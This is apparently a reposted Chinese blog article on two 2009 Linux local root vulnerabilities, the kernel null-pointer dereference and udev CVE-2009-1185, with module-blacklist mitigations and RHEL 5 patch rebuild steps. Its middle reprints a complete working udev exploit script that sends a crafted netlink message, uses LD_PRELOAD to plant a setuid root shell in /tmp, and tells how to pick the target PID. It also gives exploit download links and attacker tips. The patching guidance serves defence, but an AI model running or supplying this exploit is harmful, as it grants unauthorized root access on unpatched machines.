博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
udev安全补丁
阅读量:6850 次
发布时间:2019-06-26

本文共 7652 字,大约阅读时间需要 25 分钟。

国外黑客taviso和julien公开了可以攻击所有新旧Linux系统的一个漏洞,包括但不限于 RedHat,CentOS,Suse,Debian,Ubuntu,Slackware,Mandriva,Gentoo及其衍生系统。黑客只需要执行 一个命令,就可以通过此漏洞获得root权限,即使开启了SELinux也于事无补。攻击这个漏洞到底有多简单,下面我们看图说话,有图有真相。


CHANGELOGS:


2009/08/16 chenjun@xfocus提供了debian/ubuntu系统的修复方式。


2009/08/16 根据网友要求添加漏洞详情和exploit下载地址。


2009/08/16 改进修复方式,避免RHEL下的无效修复。感谢小阮MM反馈并提供服务器协助定位解决。


2009/08/16 添加攻击经验记录。感谢cnbird分享经验。


如上图所示,利用此漏洞极其简单,并且影响所有的Linux内核,baoz强烈建议系统管 理员或安全人员参考下列临时修复方案,以防止Linux系统被攻击 。


1、使用Grsecurity或者Pax内核安全补丁,并开启 KERNEXEC防护功能。


2、升级到2.6.31-rc6或2.4.37.5以上的内核版本。


3、如果您使用的是 RedHa tEnterprise Linux 4/5的系统或Centos4/5的系统,您可以通过下面的操作简单的操作防止被攻击。


在 /etc/modprobe.conf文件中加入下列内容:


install pppox /bin/true

install bluetooth /bin/true

install appletalk /bin/true

install ipx /bin/true

install sctp /bin/true


执行/sbin/lsmod | grep -e ppp -e blue -e app -e ipx -e sct,如果没有输出,你不需要重启,如果有输出,你需要重启系统,才可以对此攻击免疫。


下 图是免疫前后的效果对比图:


4、如果您使用的是Debian或Ubuntu系统,您可以通过下面的操作防止被攻击(感谢chenjun提 供)


cat > /etc/modprobe.d/mitigate-2692.conf << EOM

install ppp_generic /bin/true

install pppoe /bin/true

install pppox /bin/true

install slhc /bin/true

install bluetooth /bin/true

install ipv6 /bin/true

install irda /bin/true

install ax25 /bin/true

install x25 /bin/true

install ipx /bin/true

install appletalk /bin/true

EOM

/etc/init.d/bluez-utils stop


很明显,第三、四个方案最简单也相对有效,对业务影响也最小,如果您对编译和安装Linux内核不熟悉,千万不要使用前两个方 案,否则您的系统可能永远无法启动。


如果你希望了解漏洞详情,请访问下列URL:


http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0174.html


http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html


https://bugzilla.redhat.com/show_bug.cgi?id=516949


如 果你希望亲手验证此漏洞,你可以下载下列两个代码包测试(有可能导致系统不稳定,当机等现象,后果自负):


http://www.securityfocus.com/data/vulnerabilities/exploits/wunderbar_emporium-3.tgz


http://www.securityfocus.com/data/vulnerabilities/exploits/36038-4.tgz


攻 击经验记录:


1、如果selinux没开,会报缺少Pulseaudio文件,实际上根本不需要他,只是selinux没开导致的,用另 外一个exp攻击同样不成功。从这里可以总结出来,如果你没开selinux,在现有的exploit下,不需要做任何操作,也不会受到攻击。当然,这个 是我个人经验总结,并且只在RHEL5上验证过,请各位自己评估风险。顺带说一下,SElinux这东西,默认是开启的,如果你没关闭过他。根据我的猜 测,可能是exp在bypass selinux那段代码里出了点问题。所以说改/etc/selinux/config文件,禁用selinux,也可以在一定程度上防范公开的exp。


[xiaoruan@localhost wunderbar_emporium]$ ./wunderbar_emporium.sh

[+] Personality set to: PER_SVR4

Pulseaudio does not exist!


[xiaoruan@localhost run]$ sh run.sh

padlina z lublina!

mprotect: Cannot allocate memory


2、 回连的shell溢出虽然可以成功,但uid不是0,解决办法是用一个带pty的shell。这个经验由cnbird提供。


udev没有 正确的检查Netlink消息的来源,本地攻击者可以利用这个漏洞向udev发送特

制的Netlink消息,导致其创建已有系统块设备(如 root文件系统)完全可写的块设备

文件,以获得root权限。(CVE-2009-1185) 


redhat 官方网站,发出补丁通知,udev只针对rhel 5环境。 


本人在生产环境下,针对rhel 5.1进行测试,发现,普通用户通过一个udev脚本,很容易提权到root权限。附udev攻击脚本: 



#!/bin/sh

# Linux 2.6

# bug found by Sebastian Krahmer

#

# lame sploit using LD technique

# by kcope in 2009

# tested on debian-etch,ubuntu,gentoo

# do a 'cat /proc/net/netlink'

# and set the first arg to this

# script to the pid of the netlink socket

# (the pid is udevd_pid - 1 most of the time)

# + sploit has to be UNIX formatted text :)

# + if it doesn't work the 1st time try more often

#

# WARNING: maybe needs some FIXUP to work flawlessly

## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang 


cat > udev.c << _EOF

#include <fcntl.h>

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <unistd.h>

#include <dirent.h>

#include <sys/stat.h>

#include <sysexits.h>

#include <wait.h>

#include <signal.h>

#include <sys/socket.h>

#include <linux/types.h>

#include <linux/netlink.h> 


#ifndef NETLINK_KOBJECT_UEVENT

#define NETLINK_KOBJECT_UEVENT 15

#endif 


#define SHORT_STRING 64

#define MEDIUM_STRING 128

#define BIG_STRING 256

#define LONG_STRING 1024

#define EXTRALONG_STRING 4096

#define TRUE 1

#define FALSE 0 


int socket_fd;

struct sockaddr_nl address;

struct msghdr msg;

struct iovec iovector;

int sz = 64*1024; 


main(int argc, char **argv) {

        char sysfspath[SHORT_STRING];

        char subsystem[SHORT_STRING];

        char event[SHORT_STRING];

        char major[SHORT_STRING];

        char minor[SHORT_STRING]; 


        sprintf(event, "add");

        sprintf(subsystem, "block");

        sprintf(sysfspath, "/dev/foo");

        sprintf(major, "8");

        sprintf(minor, "1"); 


        memset(&address, 0, sizeof(address));

        address.nl_family = AF_NETLINK;

        address.nl_pid = atoi(argv[1]);

        address.nl_groups = 0; 


        msg.msg_name = (void*)&address;

        msg.msg_namelen = sizeof(address);

        msg.msg_iov = &iovector;

        msg.msg_iovlen = 1; 


        socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);

        bind(socket_fd, (struct sockaddr *) &address, sizeof(address)); 


        char message[LONG_STRING];

        char *mp; 


        mp = message;

        mp += sprintf(mp, "%s@%s", event, sysfspath) +1;

        mp += sprintf(mp, "ACTION=%s", event) +1;

        mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;

        mp += sprintf(mp, "MAJOR=%s", major) +1;

        mp += sprintf(mp, "MINOR=%s", minor) +1;

        mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;

        mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1; 


        iovector.iov_base = (void*)message;

        iovector.iov_len = (int)(mp-message); 


        char *buf;

        int buflen;

        buf = (char *) &msg;

        buflen = (int)(mp-message); 


        sendmsg(socket_fd, &msg, 0); 


        close(socket_fd); 


        sleep(10);

        execl("/tmp/suid", "suid", (void*)0);



_EOF

gcc udev.c -o /tmp/udev

cat > program.c << _EOF

#include <unistd.h>

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h> 


void _init()

{

 setgid(0);

 setuid(0);

 unsetenv("LD_PRELOAD");

 execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);



_EOF

gcc -o program.o -c program.c -fPIC

gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles

cat > suid.c << _EOF

int main(void) {

       setgid(0); setuid(0);

       execl("/bin/sh","sh",0); }

_EOF

gcc -o /tmp/suid suid.c

cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0

/tmp/udev $1 


# milw0rm.com [2009-04-20] 


将以上代码保存为a.sh

然后使用ps axuf|grep udev找出udev的进程号,再-1。如udev 进程号为:896

再运行如下命令

sh a.sh 895

这 时你会发现#符号出现了,用id测试看看吧。 


  


Rhel 5.1环境下解决办法:(  根据自身的需求,下列是针对rhel 5服务器版) 


  


Red Hat Enterprise Linux (v.5服务器):


Source:

ftp.redhat.com/pub/redhat/linux/enterprise/5Server/en/os/SRPMS/udev-095-14.20.el5_3.src.rpm

i386:

libvolume_id-095-14.20.el5_3.i386.rpm

libvolume_id-devel-095-14.20.el5_3.i386.rpm

udev-095-14.20.el5_3.i386.rpm

udev-debuginfo-095-14.20.el5_3.i386.rpm 


下载udev-095-14.20.el5_3.src.rpm 


并进行重新编译:rpmbuild --rebuild  udev-095-14.20.el5_3.src.rpm 


如果系统缺少相应的依赖包,将会出现下面的错 误:warning: group mockbuild does not exist - using root

warning: user mockbuild does not exist - using root

warning: group mockbuild does not exist - using root

error: Failed build dependencies:

        libselinux-devel >= 0:1.17.9-2 is needed by udev-095-14.20.i386

        libsepol-devel is needed by udev-095-14.20.i386

        pam-devel is needed by udev-095-14.20.i386

        glib2-devel is needed by udev-095-14.20.i386 


需要从rhel 5.1源光盘中,找到所需要的依赖包,并安装。 


警告信息, 可以忽略:  


按以下顺序安装: 


#rpm -ivh libsepol-devel-1.15.2-1.el5.i386.rpm 

#rpm -ivh libselinux-devel-1.33.4-2.el5.i386.rpm 

#rpm -ivh pam-devel-0.99.6.2-3.14.el5.i386.rpm 

#rpm -ivh glib2-devel-2.12.3-2.fc6.i386.rpm 


#rpmbuild --rebuild udev-095-14.20.el5_3.src.rpm 


进入到/usr/src/redhat/RPMS/i386目录下,将会发 现,将会生成4个文件: 


libvolume_id-095-14.20.i386.rpm  libvolume_id-devel-095-14.20.i386.rpm  udev-095-14.20.i386.rpm  udev-debuginfo-095-14.20.i386.rpm 


  


查看一下当前udev的PID值: 


ps -aux|grep udev

Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.7/FAQ

root       602  0.0  0.0   2744  1172 ?        S<s   2008   0:00 /sbin/udevd -d 


  


#rpm -Uvh udev-095-14.20.i386.rpm (升级UDEV包) 


在看看,升级后的,udev的pid值: 


ps -aux|grep udev

Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.7/FAQ

root     32362  0.0  0.0   2660  1080 ?        S<s  14:35   0:00 /sbin/udevd -d 


发现值已变大,然后,测试一下, 


 sh a.sh 32361

suid.c: 在函数 ‘main’ 中:

suid.c:3: 警告:隐式声明与内建函数 ‘execl’ 不兼容 


OK! 说明补丁升级成功! 


需要注意的是:有可能出现,升级后,还能提权,如果出现这种状况,请把/tmp目 录下suid,udev,以及libno_ex*文件删除。 

本文转自leonardos51CTO博客,原文链接: http://blog.51cto.com/leomars/331003,如需转载请自行联系原作者

你可能感兴趣的文章
[python skill]Python 中 NaN 和 None 的详细比较
查看>>
「架构技术专题」作为java程序员的你还不知道网站架构的演化(2)?
查看>>
业界 | Nature:AI为什么总是歧视重重?
查看>>
9- Flask构建弹幕微电影网站-后台逻辑(一)
查看>>
Linux_服务器_03_xxx is not in the sudoers file.This incident will be reported.的解决方法
查看>>
程序员的桌面(家)
查看>>
jQuery Validate自定义各种验证方法
查看>>
订阅制女装搭配电商平台秘盒幻想曲已完成数百万元天使轮融资
查看>>
阿里云融合CDN解决方案
查看>>
初识 JSP---(转发和重定向)
查看>>
web.py源码分析: 模板(3)
查看>>
Javascript自动化文档工具:YUI Doc, JSDoc 3, JSDuck等比较
查看>>
汉语言处理包 HanLP 1.7.3 发布,常规维护版本
查看>>
Visual D 0.49.0 发布,支持 Visual Studio 2019
查看>>
IT人必看!2018年上半年云栖大会300份干货PPT免费开放!最前沿的技术都在这了!...
查看>>
nignx
查看>>
solr6.6初探之分词篇
查看>>
Quick BI助力云上企业数据分析
查看>>
国内首台,智能机器人巡逻深圳机场
查看>>
SpringFramework核心技术一(IOC:ApplicationContext的附加功能)
查看>>